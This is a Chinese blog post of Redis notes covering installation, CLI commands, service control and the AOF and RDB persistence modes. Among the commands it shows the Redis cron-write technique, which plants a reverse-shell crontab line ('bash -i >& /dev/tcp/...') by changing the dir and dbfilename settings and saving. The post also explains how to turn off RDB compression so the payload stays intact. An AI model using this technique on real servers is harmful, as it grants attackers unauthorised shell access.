当前位置: 首页 > news >正文

redis小记

redis小记

下载redis
sudo apt-get install redis-server

redis基本命令

ubuntu16下的redis没有protected-mode属性,就算sudo启动,也不能往/var/spool/cron/crontabs写计划任务,感觉很安全

#连接到redis
redis-cli -h 127.0.0.1 -p 6379 -a your_password
#退出redis命令行
quit
#删除数据库中的所有键
flushall

#查看所有键值对
keys * 
#查看该键的值
get keyname 

#更改Redis的工作目录
config set dir /var/spool/cron/crontabs #这个目录后面save会报错
#设置键值对8:...
#注意计划任务上下要换行防止redis的一些乱码信息污染
SET 8 "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/5555 0>&1\n\n"


#更改Redis数据库文件的名称
config set dbfilename root
#命令Redis保存当前数据库状态到磁盘
save
#改配置
vim /etc/redis/redis.conf
#一些操作
sudo systemctl disable redis-server #禁止redis自启动
ps -aux |grep redis
kill -9 进程号 
sudo systemctl stop redis-server 
sudo systemctl status redis-server 
sudo systemctl restart redis-server

redis持久化方式

AOF

AOF是一种日志持久化方式,它记录了服务器执行的所有写操作命令。这些命令会以追加的方式写入到AOF文件中,当Redis需要恢复数据时,只需执行AOF文件中的命令就可以恢复到原来的状态。

appendonly yes

RDB

RDB是一种快照持久化方式,它通过定期将Redis内存中的数据集保存到磁盘上的一个二进制文件中(通常命名为dump.rdb)。这个文件是一个紧凑的二进制文件,包含了某个时间点的完整数据快照。当Redis重新启动时,它可以加载这个RDB文件,恢复到上次保存的时间点。

rdbcompression yes

查看redis配置文件redis.conf

rdbcompression yesrdb持久化开启时,save会进行压缩存储导致一些乱码

在这里插入图片描述

关闭一下再save

config set rdbcompression no

在这里插入图片描述

http://www.dtcms.com/a/37814.html

相关文章:

  • 在 Centos7 上部署 ASP.NET 8.0 + YOLOv11 的踩坑实录
  • AWS CLI将读取器实例添加到Amazon Aurora集群
  • 力扣-动态规划-746 使用最小花费爬楼梯
  • halcon三维点云数据处理(二十六)reduce_object_model_3d_to_visible_parts
  • 如何实现在Redis集群情况下,同一类数据固定保存在同一个Redis实例中
  • 5分钟使用Docker部署Paint Board快速打造专属在线画板应用
  • 从零到一:如何用阿里云百炼和火山引擎搭建专属 AI 助手(DeepSeek)?
  • 《Vue全栈图形绘制系统开发实战》—— 第一章础架构与核心模块实现
  • java项目之网络游戏交易系统源码(ssm+mysql)
  • 边缘计算:通俗易懂的全方位解析
  • 点云配准技术的演进与前沿探索:从传统算法到深度学习融合(1)
  • C/C++语言知识点二
  • 2024-2025 学年广东省职业院校技能大赛 “信息安全管理与评估”赛项 技能测试试卷(二)
  • huggingface部署本地大模型DeepSeek-R1-Distill-Llama-70B使用streamlit构建交互式 Web 应用
  • 多旋翼+航模+直升机:多型号无人机飞行表演技术详解
  • 路由追踪核心技术深度解析:Traceroute与Tracert命令实战指南(跨平台/抓包/网络安全防护)
  • 免费使用 DeepSeek API 教程及资源汇总
  • OpenGL ES -> GLSurfaceView绘制点、线、三角形、正方形、圆(顶点法绘制)
  • 2024年新算法||徒步优化算法(The Hiking Optimization Algorithm,HOA),附完整免费算法
  • 【算法系列】快速排序详解
  • 【10】治理系统
  • 学习过程中遇到的问题
  • 【洛谷】【ARC100E】Or Plus Max(高维前缀和)
  • Comfy UI 快捷键
  • 创建第一个 Maven 项目(二)
  • linux 网卡配置
  • 视频裂变加群推广分享引流源码
  • RoPE旋转位置编码的特性
  • 批量导出数据库表到Excel
  • Vue 的计算属性使用